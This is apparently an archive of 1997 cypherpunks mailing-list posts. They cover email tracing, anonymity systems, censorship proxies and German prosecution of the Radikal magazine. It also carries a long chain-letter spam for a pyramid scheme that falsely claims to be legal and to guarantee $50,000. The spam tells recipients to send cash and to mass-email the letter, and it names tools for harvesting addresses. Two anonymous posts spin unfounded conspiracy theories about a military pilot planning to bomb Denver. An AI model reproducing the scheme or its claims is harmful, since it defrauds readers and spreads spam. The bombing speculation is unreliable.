  be faxed to (301) 963-7732. See Numbered Note 22 and 26.
LINKURL: http://www.nist.gov/admin/od/contract/contract.htm
LINKDESC: NIST Contracts Homepage
EMAILADD: Contract@nist.gov
EMAILDESC: NIST Contracts Office
CITE: (W-105 SN062439)


All rights reserved.

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Thu, 17 Apr 1997 04:51:58 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Son of Flubber
Message-ID: <199704171151.HAA16334@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


>From wired.com newstory on McVeigh:

  Another juror said she thought the building that was bombed was
  the "Fred MacMurray Building." Fred MacMurray was an actor
  perhaps best known for his role as a father in the 1960s TV series
  "My Three Sons." 

  And Capt. Buttons thought his A-10 could reach Denver because
it was running on Flubber.

  I wonder if perhaps Capt. Buttons wasn't perhaps involved in an
AP scheme wherein various military personnel can win big bucks by
guessing the date of the bombing of the Federal Building in Denver.

  Oh, I forgot...he just headed for Denver with a planeload of 
bombs for no apparent reason.
  We wouldn't want to jump to any conclusions just because it was
at the beginning of the trial of a military terrorist.

  It's not like the military harbors militaristic types, or anything.
It's not like anyone hosting Jim Bell's "Assassination Politics" on
their system has close ties to the Davis-Monathan airbase in Tucson.
It's not like Dave Foreman of Earth First was involved in monkey-
wrenching with airmen in Tucson. It's not like airmen from Tucson
trade landmines for dope in Arivaca, south of Tucson.
  Nope, they're all too busy eating mom's apple pie and singing
"God Bless America" to do any of those things.

  And when one of them goes off on a bombing run and heads for
the site of the Oklahoma City bombing trial, well, it's just
one of life's little mysteries.

  Of course, the government isn't nervous about the loyalty of
their own military personnel. That certainly couldn't have 
anything to do with them clamping down so hard on the release
of details of the trial.

TruthBomber





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: VaX#n8 <vax@linkdead.paranoia.com>
Date: Thu, 17 Apr 1997 08:31:39 -0700 (PDT)
To: cypherpunks@toad.com
Subject: [privacy] a junk email tracer [crypto]
Message-ID: <199704171523.KAA07392@linkdead.paranoia.com>
MIME-Version: 1.0
Content-Type: text/plain


Here's a little idea that I'll throw out to the sharks.
You've probably heard of people who alter their name/address slightly
when applying for credit cards, etc., so that they know when their name
has been sold on a list, and by whom.
Well I say, "why not with email?"
Consider a hack to sendmail (or whatever MDA you have) which
attempts to locate the email address given in a list of distributed
email addresses.  For example,

 vax01.na    put on web page
 vaxu53lr    sent to correspondent foo@bar.com
 vaxbl15.    put on business cards
etc.

Where crypto comes in:
You could actually have the tagged field be the encoded encryption
of the data on the right.  You'd still probably want a list to
weed out bogus addresses that decrypt to nonsense.  Or you could use
encryption to embed a tag marking it as "good" -- a
checksum, fingerprint, signature, whatever.

With an adequate MUA, you could even have it pull up the associated
description with the email as an X-source field or something.

I may not have time to implement this, which is why I threw it out here.
If you do implement it, be nice and put my email/web ptr somewhere
in the credits.  And send me a copy; I hate junk email.
CC me in your comments; this list is too voluminous.

Sorry about the long sig but the quote is appropriate.
--
VaX#n8 | http://www.paranoia.com/~vax | League of Non-aligned Wizards
``In the meantime, there may be a role for individuals who know their
  way around the place.  A few hacks can make a lot of difference
  in this situation.  A freelance hacker could get a lot of shit done,
  years before the giant software factories bestir themselves to deal
  with the problem.'' -- Neal Stephenson, Snow Crash




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: COMPUTER.SOLUTIONS@SWBELL.net
Date: Thu, 17 Apr 1997 09:44:56 -0700 (PDT)
To: turbine69@aol.com
Subject: Don't Wait Act Now
Message-ID: <041297>
MIME-Version: 1.0
Content-Type: text/plain






   Dear friend,

   The following income opportunity is one you may be interested in taking a
   look at.It can be started with VERY MINIMAL outlay and the income return
   is TREMENDOUS!

   <> <> <> <> <> <> <> <> <> <> <> <> <> <> <> <> <> <> <> <> <> 
   You are about to make at least $50,000 - In less than 90 days
   Read the enclosed program...THEN READ IT AGAIN!...
   <> <> <> <> <> <> <> <> <> <> <> <> <> <> <> <> <> <> <> <> <>

   The enclosed information is something I almost let slip through my
   fingers. Fortunately,something later I re-read everything and gave
   some thought and study to it.

   My name is Richard Gross. Two years ago,the corporation I
   worked at for the past twelve years down-sized and my position was
   eliminated.After unproductive job interviews, I decided to open my
   own business. Over the past years,I incurred many unforeseen financial
   problems. I owed my family,friends, and creditors over $35,000. The
   economy was taking a toll on my business and I just couldn't seem to
   make ends meet.I had to refinance and borrow against my home to
   support my family and struggling business. I truly believe it was
   wrong for me to be in debt like this.AT THAT MOMENT something
   significant happened in my life and I am writing to share my experience
   in hopes that this will change your life FOREVER....FINANCIALLY!!!

   In mid-December,I received this program via email. Six months prior
   to receiving this program I had been sending away for information on
   various business opportunities. All of the programs I received,in my
   opinion,were not cost effective.They were either too difficult for
   me to comprehend or the initial investment was too much for me to risk
   to see if they worked or not. One claimed i'd make a million dollars
   in one year...it didn't tell me I'd have to write a book to make it.

   But like I was saying, in December of '95 I received this program.I
   didn't send for it, or ask for it, they just got my name off a mailing
   list.THANK GOODNESS FOR THAT!!! After reading it several times, to
   make sure I was reading it correctly,I couldn't believe my eyes. Here
   was a MONEY-MAKING PHENOMENON.It could invest as much as I wanted to
   start, without putting me further in debt.After I got a pencil and
   paper and figured it out,I would at least get my money back. After
   determining that the program is LEGAL and NOT A CHAIN LETTER,I decided
   "WHY NOT".

   Initially I sent out 10,000 emails. It cost me about $15.00 for
   my time on-line.The great thing about email is that I didn't need any
   money for printing to send out the program,only the cost to fulfill my
   orders. I am telling you like it is, I hope it doesn't turn off,but
   I promised myself that I would not "rip-off" anyone,no matter how
   much money it cost me!

   A good program to help do this is Ready Aim Fire,
   an email extracting and mass mail program
   @ http://microsyssolutions.com/raf/

   Another more advanced one can be found at:
   http://www.extractor.com/ads.html

   In less than one week, I was starting to receive orders for REPORT#1
   By January 13th,I had received 26 orders for REPORT#1. When you read
   the GUARANTEE in the program,you will see that "YOU MUST RECEIVE 15 TO
   20 ORDERS FOR REPORT#1 WITHIN TWO WEEKS.IF YOU DON'T SEND OUT MORE PROGRAMS
   UNTIL YOU DO! "My first step in making $50,000 in 20 to 90 days was done.
   By January 30th, I had received 196 orders for REPORT#2.If you go back to
   the GUARANTEE, "YOU MUST RECEIVE 100 OR MORE ORDERS FOR REPORT #2 WITHIN
   TWO WEEKS.IF NOT,SEND OUT MORE PROGRAMS UNTIL YOU DO. ONCE YOU HAVE 100 ORDERS,
   THE REST IS EASY,RELAX,YOU WILL MAKE YOUR $50,000 GOAL"Well,I had 196 orders
   for REPORT#2 96 more than I needed. So I sat back and relaxed. By march 19th,
   of my emailing of 10,000,I received $58,000 with more coming in every day.

   I paid off ALL my debts and bought a much needed new car.Please take
   time to read the attached program,IT WILL CHANGE YOUR LIFE FOREVER!
   Remember,it won't work if you don't try it.This program does work,
   but you must follow it EXACTLY! Especially the rules of not trying to
   place your name in different place. It doesn't work,you'll lose out
   on a lot of money! REPORT #2 explains this.Always follows the guarantee,
   15 to 20 orders for REPORT #1,and 100 or more orders for REPORTS #2
   and you will make $50,000 or more in 20 to 90 days. I AM LIVING PROOF
   THAT IT WORKS!!!

   If you choose not to participate in this program, I'M sorry. It really
   is a great opportunity with little cost or risk to you. If you choose
   to participate,follow the program and you will be on your way to
   financial security.

   If you are a fellow business owner and you are in financial trouble
   like I was,or you want to start your own business,consider this a
   sign.I DID!

                                            Sincerely,
                                            Richard Gross

   P.S. Do you have any idea what 11,700 $5 bills(58,000)look like piled
   up on a kitchen table? IT'S AWESOME

   "THREW IT AWAY"

   "I had received this program before.I threw it aways,but later
   wondered if I shouldn't have given it a try. Of course,I had no idea
   who to contact to get a copy,so I had to wait until I was emailed
   another copy of the program.Eleven months passed,hen it came.I
   DIDN'T throw this one aways.I made $41,000 on the first try

                                            Dawn W., Evansville,IN

   "NO FREE LUNCH"

   "My late father always told me,'remember,Alan,there is no free lunch
   in life.You get out of life what you put into it.' Through trial and
   error and a some what slow frustrating start, Ifinally figured it out
   The program works very well,I just had to find the right target group
   of people to email it to.So far this year,I have made over $63,000
   using this program. I know my dad would have been very pround of me."

                                                 Alan b., Philadelphia,PA

   A PERSONAL NOTE FROM THE ORIGINATOR OR THIS PROGRAM

   By the time to read the enclosed information and looked over the
   enclosed program and reports,you should have concluded that such a
   program, and one that is legal, could not have been created by an amateur.

   Let me tell you a little about myself.I had a profitable business for
   ten years.Then in 1979 my business began falling off. I was doing
   the same things that were previously successful for me,but it wasn't
   working. Finally,I figured it out. It wasn't me, it was the economy.
   Inflation and recession had replaced the stable economy that had been
   with us since 1945. I don't have to tell you what happened to the
   unemployment rate...because many of you know from first hand experience
   There were more failures and bankruptcies than ever before.

   The middle class was vanishing.Those who knew what they were doing
   invested wisely and moved up. Those who did not, including those who
   never had anything to save or invest,were moving down into the ranks
   of the poor.As the saying goes,"THE RICH GET TRICHER AND THE POOR GET
   POORER"The traditionalmethods of making money will never allow you
   to " move up" or "get rich",inflation will see to that.

   Youhave just received information that can give you financial freedom
   for the rest of your life,with "NO RISK" and "JUST A LITTLE BIT OF
   EFFORT." You can make more money in the next few months than you
   have ever imagined.

   I should also point out that I will not see a penny of your money,
   nor anyone else who has provided a testimonial for this program.
   I have already made over FOUR MILLION DOLLARS! I have retired from
   the program after sending out over 16,000 programs. Now I have several
   offices which market this and several other programs here in the US and
   overseas. Bythe spring, we wish to market the 'internet' by a partnership
   with AMERICA ON LINE.

   Follow the program EXACTLY AS INSTRUCTED.Do not change it in any way.
   Itworks exceedingly well as it is now.Remember to email a copy of
   this exciting program to everyone that you can think of.One of the
   people you send this to may send out 50,000...and your name will be on
   every one of them!.Remember though,the more you send out,the more
   potential customers you will reach.

   So my friend,I have given you the ideas,infomation,materials and
   opportunity to become financially independent,IT IS UP TO YOU NOW!

   "THINK ABOUT IT"

   Before you delete this program from your mailbox,as I almost did, take
   a little time to read it and REALLY THINK ABOUT IT. Get a pencil
   and figure out what could happen when YOU participate.Figure out the
   worst possible response and no matter how you calculate,you will still
   make a lot of money! Definitely get back what you invested.Any
   doubts you have will vanish when your first orders come in.IT WORKS!

                                       Paul Johnson, Raleigh,NC

   HERE'S HOW THIS AMAZING PROGRAM WILL MAKE YOU $$$$$$

   Let's say that you decide to start small, just to see how it goes,and
   we'll assume you and all those involved send out 2,000 programs each.
   Let's also assume that the mailing receives a .5% responce.Using a
   good list the response could be much better.Also many people will
   send out hundreds of thousands of programs instead of 2,000.But
   continuing with this example, you send out 2,000 programs.With a
   5% response,that is only 10 orders for REPORT #1.Those 10 people
   respond by sending out 2,000 programs each for a total of 20,000.
   Out of those .5%, 100 people respond and order REPORT #2.Those 100
   mail out 2,000 programs each for a total of 200,000.The .5% response
   tothat is 1,000 orders for REPORT #3.Those 1,000 send out 2,000
   programs each for a 2,000,000 total.The .5% response to that is
   10,000 orders for REPORT #4.That's 10,000 five dollar bills for you.
   CASH!!!!  Your total income in this example is $50 + $500 + $5000 +
   50,000 for a total of 55,550!!!!

   REMEMBER FRIEND,THIS IS ASSUMING 1,990 OUT OF 2,000 PEOPLE YOU
   MAIL TO WILL DO ABSOLUTELY NOTHING...AND TRASH THIS PROGRAM!
   DARE TO THINK FOR A MOMENT WHAT WOULD HAPPEN IF EVERYONE
   OR HALF SENT OUT 100,000 PROGRAMS INSTEAD OF ONLY 2,000.Believe
   me,many people will do that and more!By the way,your cost to participate
   in this practically nothing. You obviously already have an internet
   connection and email is FREE!!! REPORT#3 will show you the best
   methods for bulk emailing and purchasing email lists.

   THIS IS A LEGITIMATE, MONEY MAKING OPPORTUNITY. It does not require you
   to come in contact with people, do any hard work,and best of all
   you never have to leave the house except to get the mail.If
   you believe that someday you"ll get that big break that you've been
   waiting for, THIS IS IT! Simply follow the instructions, and your
   dream will come true.This multi-level email order marketing program
   works perfectly...100% EVERY TIME.Email is the sales tool of the
   future.Take advantage of this non-commercialized method of
   advertising NOW!! The longer you wait,the more people will be doing
   business using email. Get your piece of this action!!


   MULTI-LEVEL MARKETING (MLM) has finally gained respectability.It is
   being taught in the Harvard Business School,and both Stanford Research
   and The Wall Street Journal have stated that between 50% and 65% of all
   goods and services will be sold throughout Multi-level Methods by the
   mid to late 1990's.This is a Multi-Billion Dollar industry and of the
   500,000 millionaires in the US,20% (100,000) made their fortune in 
   the last several years in MLM.Moreover, statistics show 45 people become
   millionaires everyday through Multi-Level Marketing

   INSTRUCTIONS

   We at Erris Mail Order Marketing Business, have a method of raising
   capital that REALLY WORKS 100% EVERY TIME. I am sure that you could
   use $50,000 to $125,000 in the next 20 to 90 days.Before you say
   "BULL",please read the program carefully.

   This is not a chain letter,but a perfectly legal money making
   opportunity. Basically, this is what we do: As with all multi-level
   business,we build our business by recruiting new partners and selling
   our products. Every state in the USA allows you to recruit new multi-
   level business partners, and we offer a product for EVERY dollar sent.
   YOUR ORDERS COME AND ARE FILLED THROUGH THE MAIL,so you are not
   involved in personal selling. You do it privately in your own home,
   store or office


   This is the GREATEST Multi-level Mail Order Marketing anywhere:

   step (1)   Order all four REPORTS listed by NAME AND NUMBER.Do this
              by ordering the REPORT from each of the four names listed
              on the next page.For each REPORT,send $5 CASH and a SELF-
              ADDRESSED,STAMPED envelope (business size #10) to the
              person listed for the SPECIFIC REPORT. International orders
              should also include $1 extra for postage.It is essential
              that you specify the NAME and NUMBER of the report requested
              to the person you are ordering from.You will need ALL FOUR
              REPORTS because you will be REPRINTING and RESELLING them
              DO NOT alter the names or sequence other than what the
              instructions say. IMPORTANT: Always provide same-day
              service on all orders.
  
   step (2)   Replace the name and address under report #1 with
              yours,moving the one that was there down to REPORT#2.
              Drop the name and address under REPORT#2 to REPORT#3,
              moveing  the one that was there to REPORT#4. The name
              and address that where under REPORT#4 is dropped from
              the list and this party is no doubt on the way to the bank.
              When doing this,make certain you type the names and addresses
              ACCURATELY! DO NOT MIX UP MOVING PRODUCT/REPORT POSITIONS!!!

   step (3)   Having made the required changes in the NAME list,save it
              as a text(.txt) file in it's own directory to be used with
              whatever email program you like.Again,REPORT #3 will tell
              you the best methods of bulk emailing and acquiring email
              lists.

   step(4)    Email a copy of the entire program(all of this is very important)
              to everyone whose address you can get your hand on.Start with
              friends and relatives since you can encourage them to take
              advantage of this fabulous money-making opportunity. That's what
              I did. And they love me now,more than ever.Then,email to anybody
              and everyone !Use your imagination! You can get email addresses from
              companies on the internet who specialize in email mailing list.These
              are very cheap,100,000 addresses for around $35.00.


   IMPORTANT: You won't get a good response if you use an old list,so always
   request a FRESH,NEW list.You will find out where to purchase these lists
   when you order the four REPORT.

   ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS!!!

   REQUIRED REPORTS

   ***Order each REPORT by NUMBER and NAME***

   ALWAYS SEND A SELF-ADDRESSED,STAMPED ENVELOPE
   AND $5 CASH FOR EACH ORDER REQUESTING THE
   SPECIFIC REPORT BY NAME AND NUMBER

   -------------------------------------------------
   REPORT #1
   "HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"

   ORDER REPORT #1 FROM:
   
   Computer Solutions	
   PO Box 520851
   Independence,Mo 64052  
   
   -------------------------------------------------
   REPORT #2
   "MAJOR CORPORATIONS AND MULTI-LEVEL SALES"

   ORDER REPORT #2 FROM:

   Aaron Gross
   5631 e 40 hwy lot #51
   Kansas City, Mo 64128
   -------------------------------------------------
   REPORT #3
   "SOURCES FOR THE BEST MAILING LISTS"

   ORDER REPORT #3 FROM:

   Richard Gross Jr
   3308 S Emery
   Independence, Mo 64055
   -------------------------------------------------
   REPORT #4
   "EVALUATING MULTI-LEVEL SALES PLANS"

   ORDER REPORT #4 FROM

   LaChance Information System
   PO BOX 308
   Placida,FL 33946-0308
   -------------------------------------------------
   CONCLUSION

   .I am enjoying my fortune that I made by sending out this program.
   You too,will be making money in 20 to 90 days,if you follow the
   SIMPLE STEPS outlined in this mailing.

   To be financially independent is to be FREE. Free to make financial
   decisions as never before.Go into business,get into investments,
   retire or take a vacation.No longer will a lack of money hold you
   back.

   However,very few people reach financial independence,because when
   opportunity knocks, they choose to ignore it.It is much easier to say
   "NO" than "YES", and this is the question that you must answer.Will
   YOU ignore this amazing opportunity or will you take advantage of it?
   If you do nothing, you  have indeed missed something and nothing will
   change. Please re-read this  material, this is a special opportunity.
   If you have any questions, please feel free  to write to the sender
   of this information. You will  get a prompt  and information reply.

   My method is simple. I sell thousands of people a product for $5 that
   costs me pennies to produce and email.I should also point out that
   this program is legal and everyone who participates WILL make money.
   This is not a chain letter or pyramid scam. At times you have probably
   received chain letters,asking you to send money, on faith , but getting
   NOTHING in return, NO product what-so-ever! Not only are chain letters
   illegal,but the risk of someone breaking the chain makes them quite
   unattractive.

   You are offering a legitimate product to your people.After they
   purchase the product from you,they reproduce more and resell them.
   It's simple free enterprise. As you learned from the enclosed material
   the PRODUCT is a series of four FINANCIAL AND BUSINESS REPORTS. The
   information contained in these  REPORTS will not only help you in making
   your participation in this program more rewarding,but will be useful
   to you in any other business decisions you make in the years ahead.
   You are also buying the rights to reprint all of the REPORT,which
   will be ordered from you by those to whom you mail this program.The
   concise one and two page REPORTS you will be buying can easily be
   reproduced at a local copy center for a cost off about 3 cents a copy.
   Best wishes with the program and good luck!


   "IT WAS TRULY AMAZING"

   "Not being the gambling type, it took me several weeks to make up my
   mind to participate in this program. But conservative as I am,I
   decided that the initial investment was so little that there was no way
   that I could not get enough orders to at least get my money back. BOY,
   was I ever surprised when I found my medium sized post office
   box crammed with orders! I will make more money this year than any ten
   years of my life before."

                                             Mary Riceland,Lansing,MI

   TIPS FOR SUCCESS

   Send for your four REPORTS immediately so you will have them when the
   orders start coming in. When you receive a $5 order, you MUST send out
   the product/service to comply with US Postal and Lottery laws.Title
   18 Sections 1302 and 1341 specifically state that: "A PRODUCT OR
   SERVICE MUST BE EXCHANGED FOR MONEY RECEIVED."

   WHILE YOU WAIT FOR THE REPORTS TO ARRIVE:

   1. NAME YOUR NEW COMPANY.YOU CAN USE YOUR OWN NAME IF YOU DESIRE.

   2. GET A POST OFFICE BOX (PREFERRED)

   3. EDIT THE NAMES AND ADDRESSES ON THE PROGRAM.YOU MUST REMEMBER,
      YOUR NAME AND ADDRESS GO NEXT TO REPORT#1 AND THE OTHERS ALL
      MOVE DOWN ONE,WITH THE FOURTH ONE BEING BUMPED OFF THE LIST.

   4. OBTAIN AS MANY EMAIL ADDRESSES AS POSSIBLE TO SEND UNTIL YOU
      RECEIVE THE INFORMATION ON MAILING LIST COMPANIES IN REPORT #3

   5. DECIDE ON THE NUMBER OF PROGRAM YOU INTEND TO SEND OUT.THE MORE
      YOU SEND,AND THE QUICKER YOU SEND THEM,THE MORE MONEY YOY WILL MAKE

   6. AFTER MAILING THE PROGRAMS,GET READY TO FILL THE ORDERS

   7. COPY THE FOUR REPORTS SO YOU ARE ABLE TO SENT THEM OUT AS
      SOON AS YOU RECEIVE AN ORDER.IMPORTANT:ALWAYS PROVIDE
      SAME-DAY SERVICE ON ORDERS YOU RECEIVE!

   8. MAKE CERTAIN THE LETTER AND REPORTS ARE NEAT AND LEGIBLE.


       YOUR GUARANTEE

    The check point which GUARANTEES your success is simply this:you must
    receive 15 to 20 orders for REPORT #1. Ths is a must!!! If you don't
    within two weeks, email out more programs until you do.Then a couple
    of weeks later you should receive at least 100 orders for REPORT #2,if
    you don't,send out more programs until you do. Once you have received
    100 or more orders for REPORT #2,(take a deep breath) you can sit back
    and relax, because YOU ARE GOING TO MAKE AT LEAST $50,000.Mathematically
    it is a proven guarantee . Of those who have participated in the program
    and reached the above GUARANTEES-ALL have reached their $50,000 goal.Also
    remember, every time you name is moved down the list you are in front of a
    different REPORT,so you can keep of your program by knowing what people are
    ordering from you.IT'S THAT EASY, REALLY, IT IS!!!












From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: noem@internet.com
Date: Thu, 17 Apr 1997 11:39:52 -0700 (PDT)
To: noreplies@email.com
Subject: HOW TO TURN THE WORLD WIDE WEB INTO A MONEY MACHINE
Message-ID: <0000000000.AAA000@internet.com>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#000000"><FONT COLOR="#00FFFF" SIZE=3>

HOW TO TURN THE WORLD WIDE WEB INTO A MONEY MACHINE

As a computer owner you have Web Wealth at your fingertips... 
In a few short years virtually every business will be on the Web ...
Don't be left behind... Experts predict that 95 percent of
Americans will be on the Internet within 15 years (about where television is today)

Dr. Jeffrey Lant, the author of 14 best selling business books, tells you everything 
you need to know to make Really Big Money on Your Web Site... His NEW book, 
"Web Wealth"  is a fact - filled goldmine of marketing information... If your serious 
about making money on the Web, this 248 - page power packed book is an absolute
necessity...

Dr. Lant tells you:
*Why almost every business will be on the Web 
*Why you can't afford to NOT be on the Web 
*Why you must be associated with and Internet Mall
*Why setting up a solo home page makes no sense at all
*Why treating a Web Site like a standard print ad is a big mistake
*Why the secrets of netvertising generates maximum traffic & results
*How to promote your Web Site within the internet
*How to promote your Web Site off the Internet 
*How to build your business with Facts-On-Demand technology 
*How you can profit from the Internet, even if your running a local service business
*How you can profit if your in network marketing 
*How publications can forget big price increases in paper, production and postage,
  and make huge profits on the web

This MUST-HAVE 8x10 248 page book is a steal at only $27.95 
(this price includes shipping & handling). 

10 day money back guarantee.  If you are not completely satisfied return the book 
within 10 days any your money will be returned in full.

Send your order TODAY... simply write "Web Wealth" with your name and address 
on a sheet of paper... Send your check for only $27.95 NOW and take the high
road to Web Wealth on the information superhighway...

Send your order to:
                                Mail House Publishing 
                                 403 Nasa Road 1 East 
                                 Suite 210 / Dept WW21
                                 Houston, Texas 77598








</FONT><FONT  COLOR="#000000" SIZE=3>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 3umoelle@informatik.uni-hamburg.de (Ulf =?ISO-8859-1?Q?M=F6ller?=)
Date: Thu, 17 Apr 1997 03:54:49 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Internet Free Europe
In-Reply-To: <v03007804af7b35e1cd0e@[207.167.93.63]>
Message-ID: <9704171054.AA39734@public.uni-hamburg.de>
MIME-Version: 1.0
Content-Type: text/plain


http://nanjing.spc.uchicago.edu:8001/ is a proxy directed against
Chinese internet censorship.  It comes with Unix sources.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Thu, 17 Apr 1997 14:05:19 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: "Show me an example o
Message-ID: <TCPSMTP.17.4.17.-16.58.36.2780269260.1607850@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

 -=> Quoting In:shamrock@netcom.com to Harka <=-

 In> The recent issue of Radikal, the publication that caused xs4all to be
 In> blocked by the German government, contains an article on using PGP to
 In> secure the internal communications of the German leftist group issuing
 In> the publication. Radikal also contains an article on sabotaging the
 In> German rail system.

The latter, sabotaging the railway, is actually the thing, they're
going off about. That is information considered illegal, since it
advocates violence and criminal acts.
One of the leaders of the Party for Democratic Socialism, Angela
Marquardt, was indicted under the same background for putting a link
on her homepage to http://www.xs4all/~radikal/.
The argumentation of the proscecutors was, that she personally by
putting a link to that magazin (article) was promoting such violent
acts.

Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! -> http://www.epic.org */
/* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/
... The Internet recognizes censorship as damage...and routes around it.
___ Blue Wave/386 v2.30 [NR]

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBM1aSSjltEBIEF0MBAQGR+gf/RW6ACw2ULNQhjT+0kUw2A2EEvD+/s1UJ
igVK63VyUdpRiCxKBmAcrbNtDZQ4mxruFsIvVNOG8MtRJT2h3sdCDdk1A6ez4008
Vx+ZL76lrf/x7ESN0/GXw7oAiUY55+sigKgc5mm09JZAb2gXugQ+tCPi6VTNXWcH
0zwEAENDxFj++rgdJ8/yJEOHw67/IP9J+fPo9/3pEk8GEY7awh90JblV17ec5h/a
Og2iHG1ocZ2p6RH57AHqHHxPvdUcyidXIXBYOQncxj+8GXNkL+Mdjx/MYbrlAuPp
fSJMVySMTglghcj4Svrw3z63L/cbkQxZu5iCPsxtA0vkaPG8OdqsZg==
=WLao
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alec <camcc@abraxis.com>
Date: Thu, 17 Apr 1997 14:11:28 -0700 (PDT)
To: Cypherpunks <cypherpunks@toad.com>
Subject: Germany in the News
Message-ID: <3.0.1.32.19970417170556.007dfe80@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


From: The Economist <null@postbox.co.uk>
Subject: Politics This Week (April 11th - April 17th 1997)
Date: Thu, 17 Apr 1997 20:09:01 +0100

[snip]

Iranians demonstrated against a German court's verdict that found their
leaders guilty of ordering the murder of Kurdish dissidents. Some 3,000
veterans of the war with Iraq, disabled by chemical gas, called for
justice against German firms that sold it to Iraq.

[snip]

*************************************************************************
This is a free newsletter published by The Economist newspaper.   To find out 
where best to direct queries to The Economist, send a blank e-mail message
to help@economist.com

To  cancel  your  subscription,  send  an  e-mail  with  the  message  "leave 
economist-politics"  to  newscaster@postbox.co.uk    
To start receiving Politics This Week, send an e-mail with the message
"join economist-politics" to newscaster@postbox.co.uk
Alternatively, you can cancel your subscription (or subscribe at any time)by
visiting http://www.economist.com/mailing/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Avi Rubin <rubin@research.att.com>
Date: Thu, 17 Apr 1997 14:45:07 -0700 (PDT)
To: cypherpunks@toad.com
Subject: A new system for anonymity on the web
Message-ID: <199704172142.RAA25706@mgoblue.research.att.com>
MIME-Version: 1.0
Content-Type: text/plain


We are developing a new system called "Crowds" for achieving anonymity
on the web.  A preliminary description of the system can be found on
our web pages.  Any comments/criticisms are welcomed and appreciated.

Mike Reiter (http://www.research.att.com/~reiter/)
Avi Rubin   (http://www.research.att.com/~rubin/)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: InterNet Free Terra <carljohn@sk.sympatico.ca>
Date: Thu, 17 Apr 1997 17:39:03 -0700 (PDT)
To: cypherpunks@toad.com
Subject: InterNet Free Terra
Message-ID: <3356C21B.3374@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/html

Title: InterNet Free Terra






InterNet Free Terra

Beyond the ElectroMagnetic Curtain

"The Internet interprets
censorship as damage, and routes around it"
John Gilmore


Freedom Mirrors of Censored
Sites


InterNet Free Europe
Radikal



InterNet Free China
Famous Blocked Websites
(Proxy Server)


"National borders aren't
even speed bumps on the information superhighway."
Timothy C. May

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

To Provide Information About Mirrors

Of Other Censored Sites
carljohn@sk.sympatico.ca

The Final Frontier
http://www3.sk.sympatico.ca/carljohn/








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 17 Apr 1997 20:38:14 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Son of Flubber
Message-ID: <199704180338.UAA22722@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. May wrote:
> At 3:51 AM -0800 4/17/97, TruthBomber wrote:
> >  Of course, the government isn't nervous about the loyalty of
> >their own military personnel. That certainly couldn't have
> >anything to do with them clamping down so hard on the release
> >of details of the trial.
> 
> Or why NORAD (North American Aerospace Defense Command) and Falcon AFB,
> both also in Colorado, have been placed on special alert. Military flights
> near both sites have been sharply limited, and visitors are being screened
> with more attention.
> 
> Avoid soft targets on April 19th, Saturday.

  Capt. Button's A-10 changed course for an approach toward Vail/Denver
and then turned around briefly, before resuming its approach pattern.
  While this raises the scary prospect that his warplane was intercepted
and had to take evasive action, thereafter being shot down, what about
an equally scary scenario:
  Perhaps he turned around in order to adjust his *landing* approach.

  If I was NORAD, I'd be checking the local bars and construction
companies around Vail, trying to find out if anyone has built any 
unusually large parking garages next to an open field.

  It's an open secret that McVeigh timed the bombing to coincide
with the execution of a fellow militant from the Elohim City
cabal. Who says mad bombers aren't sentimental?

  Perhaps the missing warplane will surface on April 19, dropping
bombs on Denver, and trailing a banner reading, "Happy Anniversary."

TruthBomber





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 17 Apr 1997 18:42:00 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: InterNet Free Terra
In-Reply-To: <3356C21B.3374@sk.sympatico.ca>
Message-ID: <199704180139.UAA27280@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <3356C21B.3374@sk.sympatico.ca>, on 04/17/97 at 06:36 PM,
   InterNet Free Terra <carljohn@sk.sympatico.ca> said:


><BASE HREF="file:///C|/My
